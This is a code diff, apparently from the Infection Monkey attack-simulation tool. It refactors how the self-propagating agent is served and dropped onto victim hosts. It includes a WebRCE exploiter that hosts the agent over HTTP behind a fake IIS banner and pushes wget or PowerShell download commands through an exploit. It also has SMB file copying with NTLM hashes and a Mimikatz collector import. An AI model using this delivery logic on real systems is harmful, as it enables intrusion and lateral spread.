|
||||
monkey_path = ControlClient.download_monkey_exe(host)
|
||||
|
||||
if host.os.get("machine") and monkey_path:
|
||||
host.monkey_exe = monkey_path
|
||||
|
||||
if not monkey_path:
|
||||
if host.os.get("type") == platform.system().lower():
|
||||
# if exe not found, and we have the same arch or arch is unknown and we are 32bit,
|
||||
# use our exe
|
||||
if (not host.os.get("machine") and sys.maxsize < 2 ** 32) or host.os.get(
|
||||
"machine", ""
|
||||
).lower() == platform.machine().lower():
|
||||
monkey_path = sys.executable
|
||||
|
||||
return monkey_path
|
||||
raise NotImplementedError("get_target_monkey() has been retired. Use IAgentRepository instead.")
|
||||
|
||||
|
||||
def get_target_monkey_by_os(is_windows, is_32bit):
|
||||
from infection_monkey.control import ControlClient
|
||||
|
||||
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
|
||||
raise NotImplementedError(
|
||||
"get_target_monkey_by_os() has been retired. Use IAgentRepository instead."
|
||||
)
|
||||
|
||||
|
||||
def get_monkey_depth():
|
||||
|
@ -54,7 +29,7 @@ def get_monkey_depth():
|
|||
def get_monkey_dest_path(url_to_monkey):
|
||||
"""
|
||||
Gets destination path from monkey's source url.
|
||||
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
|
||||
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-64.exe
|
||||
:return: Corresponding monkey path from configuration
|
||||
"""
|
||||
from infection_monkey.config import WormConfiguration
|
||||
|
@ -65,8 +40,6 @@ def get_monkey_dest_path(url_to_monkey):
|
|||
try:
|
||||
if "linux" in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_linux
|
||||
elif "windows-32" in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_win_32
|
||||
elif "windows-64" in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_win_64
|
||||
else:
|
||||
|
|
|
@ -11,33 +11,12 @@ from infection_monkey.model import DOWNLOAD_TIMEOUT
|
|||
from infection_monkey.network.firewall import app as firewall
|
||||
from infection_monkey.network.info import get_free_tcp_port
|
||||
from infection_monkey.network.tools import get_interface_to_target
|
||||
from infection_monkey.transport import HTTPServer, LockedHTTPServer
|
||||
from infection_monkey.transport import LockedHTTPServer
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class HTTPTools(object):
|
||||
@staticmethod
|
||||
def create_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
if not local_port:
|
||||
local_port = get_free_tcp_port()
|
||||
|
||||
if not local_ip:
|
||||
local_ip = get_interface_to_target(host.ip_addr)
|
||||
|
||||
if not firewall.listen_allowed():
|
||||
return None, None
|
||||
|
||||
httpd = HTTPServer(local_ip, local_port, src_path)
|
||||
httpd.daemon = True
|
||||
httpd.start()
|
||||
|
||||
return (
|
||||
"http://%s:%s/%s"
|
||||
% (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))),
|
||||
httpd,
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||
|
@ -49,7 +28,9 @@ class HTTPTools(object):
|
|||
return http_path, http_thread
|
||||
|
||||
@staticmethod
|
||||
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
def create_locked_transfer(
|
||||
host, dropper_target_path, agent_repository, local_ip=None, local_port=None
|
||||
):
|
||||
"""
|
||||
Create http server for file transfer with a lock
|
||||
:param host: Variable with target's information
|
||||
|
@ -71,12 +52,13 @@ class HTTPTools(object):
|
|||
logger.error("Firewall is not allowed to listen for incomming ports. Aborting")
|
||||
return None, None
|
||||
|
||||
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
|
||||
httpd = LockedHTTPServer(
|
||||
local_ip, local_port, host.os["type"], dropper_target_path, agent_repository, lock
|
||||
)
|
||||
httpd.start()
|
||||
lock.acquire()
|
||||
return (
|
||||
"http://%s:%s/%s"
|
||||
% (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))),
|
||||
"http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(host.os["type"])),
|
||||
httpd,
|
||||
)
|
||||
|
||||
|
|
|
@ -6,7 +6,6 @@ from impacket.dcerpc.v5 import srvs, transport
|
|||
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||
from impacket.smbconnection import SMB_DIALECT, SMBConnection
|
||||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.config import Configuration
|
||||
from infection_monkey.network.tools import get_interface_to_target
|
||||
|
@ -20,7 +19,8 @@ class SmbTools(object):
|
|||
def copy_file(
|
||||
host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60
|
||||
):
|
||||
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
||||
# monkeyfs has been removed. Fix this in issue #1741
|
||||
# assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
||||
|
||||
smb, dialect = SmbTools.new_smb_connection(
|
||||
host, username, password, lm_hash, ntlm_hash, timeout
|
||||
|
@ -138,10 +138,13 @@ class SmbTools(object):
|
|||
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
|
||||
|
||||
try:
|
||||
# monkeyfs has been removed. Fix this in issue #1741
|
||||
"""
|
||||
with monkeyfs.open(src_path, "rb") as source_file:
|
||||
# make sure of the timeout
|
||||
smb.setTimeout(timeout)
|
||||
smb.putFile(share_name, remote_path, source_file.read)
|
||||
"""
|
||||
|
||||
file_uploaded = True
|
||||
T1105Telem(
|
||||
|
|
|
@ -4,7 +4,6 @@ from posixpath import join
|
|||
from typing import List, Tuple
|
||||
|
||||
from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus
|
||||
from infection_monkey.exploit.consts import WIN_ARCH_64
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
|
@ -35,7 +34,7 @@ class WebRCE(HostExploiter):
|
|||
def __init__(self, monkey_target_paths=None):
|
||||
"""
|
||||
:param monkey_target_paths: Where to upload the monkey at the target host system.
|
||||
Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... }
|
||||
Dict in format {'linux': '/tmp/monkey.sh', 'win64':... }
|
||||
"""
|
||||
super(WebRCE, self).__init__()
|
||||
self.monkey_target_paths = monkey_target_paths
|
||||
|
@ -117,7 +116,6 @@ class WebRCE(HostExploiter):
|
|||
if not self.monkey_target_paths:
|
||||
self.monkey_target_paths = {
|
||||
"linux": self.options["dropper_target_path_linux"],
|
||||
"win32": self.options["dropper_target_path_win_32"],
|
||||
"win64": self.options["dropper_target_path_win_64"],
|
||||
}
|
||||
self.HTTP = [str(port) for port in self.options["http_ports"]]
|
||||
|
@ -276,7 +274,7 @@ class WebRCE(HostExploiter):
|
|||
"monkey_path": dest_path,
|
||||
"http_path": http_path,
|
||||
}
|
||||
self.telemetry_messenger.send_telemtry(
|
||||
self.telemetry_messenger.send_telemetry(
|
||||
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING)
|
||||
)
|
||||
resp = self.exploit(url, backup_command)
|
||||
|
@ -294,11 +292,12 @@ class WebRCE(HostExploiter):
|
|||
if not self.host.os["type"]:
|
||||
logger.error("Unknown target's os type. Skipping.")
|
||||
return False
|
||||
paths = self.get_monkey_paths()
|
||||
if not paths:
|
||||
return False
|
||||
|
||||
dropper_target_path = self.monkey_target_paths[self.host.os["type"]]
|
||||
# Create server for http download and wait for it's startup.
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||
self.host, dropper_target_path, self.agent_repository
|
||||
)
|
||||
if not http_path:
|
||||
logger.debug("Exploiter failed, http transfer creation failed.")
|
||||
return False
|
||||
|
@ -306,10 +305,10 @@ class WebRCE(HostExploiter):
|
|||
# Choose command:
|
||||
if not commands:
|
||||
commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD}
|
||||
command = self.get_command(paths["dest_path"], http_path, commands)
|
||||
command = self.get_command(dropper_target_path, http_path, commands)
|
||||
resp = self.exploit(url, command)
|
||||
self.add_executed_cmd(command)
|
||||
resp = self.run_backup_commands(resp, url, paths["dest_path"], http_path)
|
||||
resp = self.run_backup_commands(resp, url, dropper_target_path, http_path)
|
||||
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
|
@ -318,7 +317,7 @@ class WebRCE(HostExploiter):
|
|||
if resp is False:
|
||||
return resp
|
||||
else:
|
||||
return {"response": resp, "path": paths["dest_path"]}
|
||||
return {"response": resp, "path": dropper_target_path}
|
||||
|
||||
def change_permissions(self, url, path, command=None):
|
||||
"""
|
||||
|
@ -336,10 +335,10 @@ class WebRCE(HostExploiter):
|
|||
command = CHMOD_MONKEY % {"monkey_path": path}
|
||||
try:
|
||||
resp = self.exploit(url, command)
|
||||
self.telemetry_messenger.send_telemtry(T1222Telem(ScanStatus.USED, command, self.host))
|
||||
self.telemetry_messenger.send_telemetry(T1222Telem(ScanStatus.USED, command, self.host))
|
||||
except Exception as e:
|
||||
logger.error("Something went wrong while trying to change permission: %s" % e)
|
||||
self.telemetry_messenger.send_telemtry(T1222Telem(ScanStatus.SCANNED, "", self.host))
|
||||
self.telemetry_messenger.send_telemetry(T1222Telem(ScanStatus.SCANNED, "", self.host))
|
||||
return False
|
||||
# If exploiter returns True / False
|
||||
if isinstance(resp, bool):
|
||||
|
@ -412,7 +411,7 @@ class WebRCE(HostExploiter):
|
|||
"""
|
||||
Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths).
|
||||
:param url_to_monkey: Hosted monkey's url. egz :
|
||||
http://localserver:9999/monkey/windows-32.exe
|
||||
http://localserver:9999/monkey/windows-64.exe
|
||||
:return: Corresponding monkey path from self.monkey_target_paths
|
||||
"""
|
||||
if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey):
|
||||
|
@ -423,9 +422,7 @@ class WebRCE(HostExploiter):
|
|||
try:
|
||||
if "linux" in url_to_monkey:
|
||||
return self.monkey_target_paths["linux"]
|
||||
elif "windows-32" in url_to_monkey:
|
||||
return self.monkey_target_paths["win32"]
|
||||
elif "windows-64" in url_to_monkey:
|
||||
elif "windows" in url_to_monkey:
|
||||
return self.monkey_target_paths["win64"]
|
||||
else:
|
||||
logger.error(
|
||||
|
@ -435,9 +432,8 @@ class WebRCE(HostExploiter):
|
|||
return False
|
||||
except KeyError:
|
||||
logger.error(
|
||||
'Unknown key was found. Please use "linux", "win32" and "win64" keys to '
|
||||
"initialize "
|
||||
"custom dict of monkey's destination paths"
|
||||
'Unknown key was found. Please use "linux" and "win64" keys to '
|
||||
"initialize custom dict of monkey's destination paths"
|
||||
)
|
||||
return False
|
||||
|
||||
|
@ -470,13 +466,7 @@ class WebRCE(HostExploiter):
|
|||
if self.host.os["type"] == "linux":
|
||||
return self.options["dropper_target_path_linux"]
|
||||
if self.host.os["type"] == "windows":
|
||||
try:
|
||||
# remove now or when 32-bit binaries are removed?
|
||||
if self.host.os["machine"] == WIN_ARCH_64:
|
||||
return self.options["dropper_target_path_win_64"]
|
||||
except KeyError:
|
||||
logger.debug("Target's machine type was not set. Using win-32 dropper path.")
|
||||
return self.options["dropper_target_path_win_32"]
|
||||
return self.options["dropper_target_path_win_64"]
|
||||
|
||||
def get_target_url(self):
|
||||
"""
|
||||
|
|
|
@ -8,7 +8,6 @@ class VictimHost(object):
|
|||
self.os = {}
|
||||
self.services = {}
|
||||
self.icmp = False
|
||||
self.monkey_exe = None
|
||||
self.default_tunnel = None
|
||||
self.default_server = None
|
||||
|
||||
|
@ -42,7 +41,6 @@ class VictimHost(object):
|
|||
for k, v in list(self.services.items()):
|
||||
victim += "%s-%s " % (k, v)
|
||||
victim += "] ICMP: %s " % (self.icmp)
|
||||
victim += "target monkey: %s" % self.monkey_exe
|
||||
return victim
|
||||
|
||||
def set_island_address(self, ip: str, port: Optional[str]):
|
||||
|
|
|
@ -16,7 +16,7 @@ from infection_monkey.credential_collectors import (
|
|||
MimikatzCredentialCollector,
|
||||
SSHCredentialCollector,
|
||||
)
|
||||
from infection_monkey.exploit import ExploiterWrapper
|
||||
from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper
|
||||
from infection_monkey.exploit.hadoop import HadoopExploiter
|
||||
from infection_monkey.exploit.sshexec import SSHExploiter
|
||||
from infection_monkey.i_puppet import IPuppet, PluginType
|
||||
|
@ -46,7 +46,6 @@ from infection_monkey.utils.environment import is_windows_os
|
|||
from infection_monkey.utils.monkey_dir import get_monkey_dir_path, remove_monkey_dir
|
||||
from infection_monkey.utils.monkey_log_path import get_monkey_log_path
|
||||
from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers
|
||||
from infection_monkey.windows_upgrader import WindowsUpgrader
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
@ -101,11 +100,6 @@ class InfectionMonkey:
|
|||
logger.info("The Monkey Island has instructed this agent to stop")
|
||||
return
|
||||
|
||||
if InfectionMonkey._is_upgrade_to_64_needed():
|
||||
self._upgrade_to_64()
|
||||
logger.info("32 bit Agent can't run on 64 bit system.")
|
||||
return
|
||||
|
||||
self._setup()
|
||||
self._master.start()
|
||||
|
||||
|
@ -147,16 +141,6 @@ class InfectionMonkey:
|
|||
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def _is_upgrade_to_64_needed():
|
||||
return WindowsUpgrader.should_upgrade()
|
||||
|
||||
def _upgrade_to_64(self):
|
||||
self._singleton.unlock()
|
||||
logger.info("32bit monkey running on 64bit Windows. Upgrading.")
|
||||
WindowsUpgrader.upgrade(self._opts)
|
||||
logger.info("Finished upgrading from 32bit to 64bit.")
|
||||
|
||||
def _setup(self):
|
||||
logger.debug("Starting the setup phase.")
|
||||
|
||||
|
@ -216,7 +200,10 @@ class InfectionMonkey:
|
|||
puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER)
|
||||
puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER)
|
||||
|
||||
exploit_wrapper = ExploiterWrapper(self.telemetry_messenger)
|
||||
agent_repoitory = CachingAgentRepository(
|
||||
f"https://{self._default_server}", ControlClient.proxies
|
||||
)
|
||||
exploit_wrapper = ExploiterWrapper(self.telemetry_messenger, agent_repoitory)
|
||||
|
||||
puppet.load_plugin(
|
||||
"SSHExploiter",
|
||||
|
@ -252,10 +239,6 @@ class InfectionMonkey:
|
|||
logger.info("Monkey cleanup started")
|
||||
self._wait_for_exploited_machine_connection()
|
||||
try:
|
||||
if self._is_upgrade_to_64_needed():
|
||||
logger.debug("Cleanup not needed for 32 bit agent on 64 bit system(it didn't run)")
|
||||
return
|
||||
|
||||
if self._master:
|
||||
self._master.cleanup()
|
||||
|
||||
|
|
|
@ -43,10 +43,6 @@ def is_windows():
|
|||
return platform.system().find("Windows") >= 0
|
||||
|
||||
|
||||
def is_32_bit():
|
||||
return sys.maxsize <= 2 ** 32
|
||||
|
||||
|
||||
def get_bin_folder():
|
||||
return os.path.join('.', 'bin')
|
||||
|
||||
|
@ -73,15 +69,10 @@ def get_hidden_imports():
|
|||
def get_monkey_filename():
|
||||
name = 'monkey-'
|
||||
if is_windows():
|
||||
name = name + "windows-"
|
||||
name = name + "windows-64.exe"
|
||||
else:
|
||||
name = name + "linux-"
|
||||
if is_32_bit():
|
||||
name = name + "32"
|
||||
else:
|
||||
name = name + "64"
|
||||
if is_windows():
|
||||
name = name + ".exe"
|
||||
name = name + "linux-64"
|
||||
|
||||
return name
|
||||
|
||||
|
||||
|
|
|
@ -1,58 +0,0 @@
|
|||
import os
|
||||
from io import BytesIO
|
||||
|
||||
MONKEYFS_PREFIX = "monkeyfs://"
|
||||
|
||||
open_orig = open
|
||||
|
||||
|
||||
class VirtualFile(BytesIO):
|
||||
_vfs = {} # virtual File-System
|
||||
|
||||
def __init__(self, name, mode="r", buffering=None):
|
||||
if not name.startswith(MONKEYFS_PREFIX):
|
||||
name = MONKEYFS_PREFIX + name
|
||||
self.name = name
|
||||
if name in VirtualFile._vfs:
|
||||
super(VirtualFile, self).__init__(self._vfs[name])
|
||||
else:
|
||||
super(VirtualFile, self).__init__()
|
||||
|
||||
def flush(self):
|
||||
super(VirtualFile, self).flush()
|
||||
VirtualFile._vfs[self.name] = self.getvalue()
|
||||
|
||||
@staticmethod
|
||||
def getsize(path):
|
||||
return len(VirtualFile._vfs[path])
|
||||
|
||||
@staticmethod
|
||||
def isfile(path):
|
||||
return path in VirtualFile._vfs
|
||||
|
||||
|
||||
def getsize(path):
|
||||
if path.startswith(MONKEYFS_PREFIX):
|
||||
return VirtualFile.getsize(path)
|
||||
else:
|
||||
return os.stat(path).st_size
|
||||
|
||||
|
||||
def isfile(path):
|
||||
if path.startswith(MONKEYFS_PREFIX):
|
||||
return VirtualFile.isfile(path)
|
||||
else:
|
||||
return os.path.isfile(path)
|
||||
|
||||
|
||||
def virtual_path(name):
|
||||
return "%s%s" % (MONKEYFS_PREFIX, name)
|
||||
|
||||
|
||||
# noinspection PyShadowingBuiltins
|
||||
def open(name, mode="r", buffering=-1):
|
||||
# use normal open for regular paths, and our "virtual" open for monkeyfs:// paths
|
||||
if name.startswith(MONKEYFS_PREFIX):
|
||||
return VirtualFile(name, mode, buffering)
|
||||
else:
|
||||
return open_orig(name, mode=mode, buffering=buffering)
|
|
@ -26,7 +26,8 @@ The monkey is a PyInstaller compressed python archives.
|
|||
1. To build the final exe:
|
||||
- `cd monkey\infection_monkey`
|
||||
- `build_windows.bat`
|
||||
- output is placed under `dist\monkey32.exe` or `dist\monkey64.exe` depending on your version of Python
|
||||
|
||||
Output is placed under `dist\monkey64.exe`.
|
||||
|
||||
## Linux
|
||||
|
||||
|
@ -51,7 +52,7 @@ Tested on Ubuntu 16.04.
|
|||
- `chmod +x build_linux.sh`
|
||||
- `pipenv run ./build_linux.sh`
|
||||
|
||||
output is placed under `dist/monkey32` or `dist/monkey64` depending on your version of python
|
||||
Output is placed under `dist/monkey64`.
|
||||
|
||||
### Troubleshooting
|
||||
|
||||
|
|
|
@ -1,2 +1 @@
|
|||
from infection_monkey.transport.http import HTTPServer
|
||||
from infection_monkey.transport.http import LockedHTTPServer
|
||||
|
|
|
@ -1,5 +1,4 @@
|
|||
import http.server
|
||||
import os.path
|
||||
import select
|
||||
import socket
|
||||
import threading
|
||||
|
@ -7,7 +6,6 @@ import urllib
|
|||
from logging import getLogger
|
||||
from urllib.parse import urlsplit
|
||||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from infection_monkey.network.tools import get_interface_to_target
|
||||
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
|
||||
|
||||
|
@ -16,7 +14,8 @@ logger = getLogger(__name__)
|
|||
|
||||
class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
||||
protocol_version = "HTTP/1.1"
|
||||
filename = ""
|
||||
victim_os = ""
|
||||
agent_repository = None
|
||||
|
||||
def version_string(self):
|
||||
return "Microsoft-IIS/7.5."
|
||||
|
@ -46,7 +45,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
|||
total += chunk
|
||||
start_range += chunk
|
||||
|
||||
if f.tell() == monkeyfs.getsize(self.filename):
|
||||
if f.tell() == len(f.getbuffer()):
|
||||
if self.report_download(self.client_address):
|
||||
self.close_connection = 1
|
||||
|
||||
|
@ -59,15 +58,15 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
|||
f.close()
|
||||
|
||||
def send_head(self):
|
||||
if self.path != "/" + urllib.parse.quote(os.path.basename(self.filename)):
|
||||
if self.path != "/" + urllib.parse.quote(self.victim_os):
|
||||
self.send_error(500, "")
|
||||
return None, 0, 0
|
||||
try:
|
||||
f = monkeyfs.open(self.filename, "rb")
|
||||
f = self.agent_repository.get_agent_binary(self.victim_os)
|
||||
except IOError:
|
||||
self.send_error(404, "File not found")
|
||||
return None, 0, 0
|
||||
size = monkeyfs.getsize(self.filename)
|
||||
size = len(f.getbuffer())
|
||||
start_range = 0
|
||||
end_range = size
|
||||
|
||||
|
@ -157,50 +156,6 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
|
|||
)
|
||||
|
||||
|
||||
class HTTPServer(threading.Thread):
|
||||
def __init__(self, local_ip, local_port, filename, max_downloads=1):
|
||||
self._local_ip = local_ip
|
||||
self._local_port = local_port
|
||||
self._filename = filename
|
||||
self.max_downloads = max_downloads
|
||||
self.downloads = 0
|
||||
self._stopped = False
|
||||
threading.Thread.__init__(self)
|
||||
|
||||
def run(self):
|
||||
class TempHandler(FileServHTTPRequestHandler):
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
|
||||
filename = self._filename
|
||||
|
||||
@staticmethod
|
||||
def report_download(dest=None):
|
||||
logger.info("File downloaded from (%s,%s)" % (dest[0], dest[1]))
|
||||
TempHandler.T1105Telem(
|
||||
TempHandler.ScanStatus.USED,
|
||||
get_interface_to_target(dest[0]),
|
||||
dest[0],
|
||||
self._filename,
|
||||
).send()
|
||||
self.downloads += 1
|
||||
if not self.downloads < self.max_downloads:
|
||||
return True
|
||||
return False
|
||||
|
||||
httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler)
|
||||
httpd.timeout = 0.5 # this is irrelevant?
|
||||
|
||||
while not self._stopped and self.downloads < self.max_downloads:
|
||||
httpd.handle_request()
|
||||
|
||||
self._stopped = True
|
||||
|
||||
def stop(self, timeout=60):
|
||||
self._stopped = True
|
||||
self.join(timeout)
|
||||
|
||||
|
||||
class LockedHTTPServer(threading.Thread):
|
||||
"""
|
||||
Same as HTTPServer used for file downloads just with locks to avoid racing conditions.
|
||||
|
@ -213,10 +168,21 @@ class LockedHTTPServer(threading.Thread):
|
|||
# Seconds to wait until server stops
|
||||
STOP_TIMEOUT = 5
|
||||
|
||||
def __init__(self, local_ip, local_port, filename, lock, max_downloads=1):
|
||||
def __init__(
|
||||
self,
|
||||
local_ip,
|
||||
local_port,
|
||||
victim_os,
|
||||
dropper_target_path,
|
||||
agent_repository,
|
||||
lock,
|
||||
max_downloads=1,
|
||||
):
|
||||
self._local_ip = local_ip
|
||||
self._local_port = local_port
|
||||
self._filename = filename
|
||||
self._victim_os = victim_os
|
||||
self._dropper_target_path = dropper_target_path
|
||||
self._agent_repository = agent_repository
|
||||
self.max_downloads = max_downloads
|
||||
self.downloads = 0
|
||||
self._stopped = False
|
||||
|
@ -229,7 +195,8 @@ class LockedHTTPServer(threading.Thread):
|
|||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
|
||||
filename = self._filename
|
||||
victim_os = self._victim_os
|
||||
agent_repository = self._agent_repository
|
||||
|
||||
@staticmethod
|
||||
def report_download(dest=None):
|
||||
|
@ -238,7 +205,7 @@ class LockedHTTPServer(threading.Thread):
|
|||
TempHandler.ScanStatus.USED,
|
||||
get_interface_to_target(dest[0]),
|
||||
dest[0],
|
||||
self._filename,
|
||||
self._dropper_target_path,
|
||||
).send()
|
||||
self.downloads += 1
|
||||
if not self.downloads < self.max_downloads:
|
||||
|
|
|
@ -1,18 +1,5 @@
|
|||
import os
|
||||
import struct
|
||||
import sys
|
||||
|
||||
|
||||
def is_64bit_windows_os():
|
||||
"""
|
||||
Checks for 64 bit Windows OS using environment variables.
|
||||
"""
|
||||
return "PROGRAMFILES(X86)" in os.environ
|
||||
|
||||
|
||||
def is_64bit_python():
|
||||
return struct.calcsize("P") == 8
|
||||
|
||||
|
||||
def is_windows_os():
|
||||
return sys.platform.startswith("win")
|
||||
|
|
|
@ -1,69 +0,0 @@
|
|||
import logging
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.control import ControlClient
|
||||
from infection_monkey.utils.commands import (
|
||||
build_monkey_commandline_explicitly,
|
||||
get_monkey_commandline_windows,
|
||||
)
|
||||
from infection_monkey.utils.environment import is_64bit_python, is_64bit_windows_os, is_windows_os
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
if "win32" == sys.platform:
|
||||
from win32process import DETACHED_PROCESS
|
||||
else:
|
||||
DETACHED_PROCESS = 0
|
||||
|
||||
|
||||
class WindowsUpgrader(object):
|
||||
__UPGRADE_WAIT_TIME__ = 3
|
||||
|
||||
@staticmethod
|
||||
def should_upgrade():
|
||||
return is_windows_os() and is_64bit_windows_os() and not is_64bit_python()
|
||||
|
||||
@staticmethod
|
||||
def upgrade(opts):
|
||||
try:
|
||||
monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False)
|
||||
with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
|
||||
with open(
|
||||
WormConfiguration.dropper_target_path_win_64, "wb"
|
||||
) as written_monkey_file:
|
||||
shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
|
||||
except (IOError, AttributeError) as e:
|
||||
logger.error("Failed to download the Monkey to the target path: %s." % e)
|
||||
return
|
||||
|
||||
monkey_options = build_monkey_commandline_explicitly(
|
||||
opts.parent, opts.tunnel, opts.server, opts.depth
|
||||
)
|
||||
|
||||
monkey_cmdline = get_monkey_commandline_windows(
|
||||
WormConfiguration.dropper_target_path_win_64, monkey_options
|
||||
)
|
||||
|
||||
monkey_process = subprocess.Popen(
|
||||
monkey_cmdline,
|
||||
stdin=None,
|
||||
stdout=None,
|
||||
stderr=None,
|
||||
close_fds=True,
|
||||
creationflags=DETACHED_PROCESS,
|
||||
)
|
||||
|
||||
logger.info(
|
||||
"Executed 64bit monkey process (PID=%d) with command line: %s",
|
||||
monkey_process.pid,
|
||||
" ".join(monkey_cmdline),
|
||||
)
|
||||
|
||||
time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__)
|
||||
if monkey_process.poll() is not None:
|
||||
logger.error("Seems like monkey died too soon")
|
|
@ -134,8 +134,7 @@ def init_api_resources(api):
|
|||
api.add_resource(ConfigurationImport, "/api/configuration/import")
|
||||
api.add_resource(
|
||||
MonkeyDownload,
|
||||
"/api/monkey/download",
|
||||
"/api/monkey/download/<string:path>",
|
||||
"/api/monkey/download/<string:host_os>",
|
||||
)
|
||||
api.add_resource(NetMap, "/api/netmap")
|
||||
api.add_resource(Edge, "/api/netmap/edge")
|
||||
|
|
|
@ -1,101 +1,34 @@
|
|||
import hashlib
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
from pathlib import Path
|
||||
|
||||
import flask_restful
|
||||
from flask import request, send_from_directory
|
||||
from flask import make_response, send_from_directory
|
||||
|
||||
from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
MONKEY_DOWNLOADS = [
|
||||
{
|
||||
"type": "linux",
|
||||
"machine": "x86_64",
|
||||
"filename": "monkey-linux-64",
|
||||
},
|
||||
{
|
||||
"type": "linux",
|
||||
"machine": "i686",
|
||||
"filename": "monkey-linux-32",
|
||||
},
|
||||
{
|
||||
"type": "linux",
|
||||
"machine": "i386",
|
||||
"filename": "monkey-linux-32",
|
||||
},
|
||||
{
|
||||
"type": "linux",
|
||||
"filename": "monkey-linux-64",
|
||||
},
|
||||
{
|
||||
"type": "windows",
|
||||
"machine": "x86",
|
||||
"filename": "monkey-windows-32.exe",
|
||||
},
|
||||
{
|
||||
"type": "windows",
|
||||
"machine": "amd64",
|
||||
"filename": "monkey-windows-64.exe",
|
||||
},
|
||||
{
|
||||
"type": "windows",
|
||||
"machine": "64",
|
||||
"filename": "monkey-windows-64.exe",
|
||||
},
|
||||
{
|
||||
"type": "windows",
|
||||
"machine": "32",
|
||||
"filename": "monkey-windows-32.exe",
|
||||
},
|
||||
{
|
||||
"type": "windows",
|
||||
"filename": "monkey-windows-32.exe",
|
||||
},
|
||||
]
|
||||
AGENTS = {
|
||||
"linux": "monkey-linux-64",
|
||||
"windows": "monkey-windows-64.exe",
|
||||
}
|
||||
|
||||
|
||||
def get_monkey_executable(host_os, machine):
|
||||
for download in MONKEY_DOWNLOADS:
|
||||
if host_os == download.get("type") and machine == download.get("machine"):
|
||||
logger.info("Monkey exec found for os: {0} and machine: {1}".format(host_os, machine))
|
||||
return download
|
||||
logger.warning(
|
||||
"No monkey executables could be found for the host os or machine or both: host_os: {"
|
||||
"0}, machine: {1}".format(host_os, machine)
|
||||
)
|
||||
return None
|
||||
class UnsupportedOSError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class MonkeyDownload(flask_restful.Resource):
|
||||
|
||||
# Used by monkey. can't secure.
|
||||
def get(self, path):
|
||||
return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries"), path)
|
||||
|
||||
# Used by monkey. can't secure.
|
||||
def post(self):
|
||||
host_json = json.loads(request.data)
|
||||
host_os = host_json.get("os")
|
||||
if host_os:
|
||||
result = get_monkey_executable(host_os.get("type"), host_os.get("machine"))
|
||||
|
||||
if result:
|
||||
# change resulting from new base path
|
||||
executable_filename = result["filename"]
|
||||
real_path = MonkeyDownload.get_executable_full_path(executable_filename)
|
||||
if os.path.isfile(real_path):
|
||||
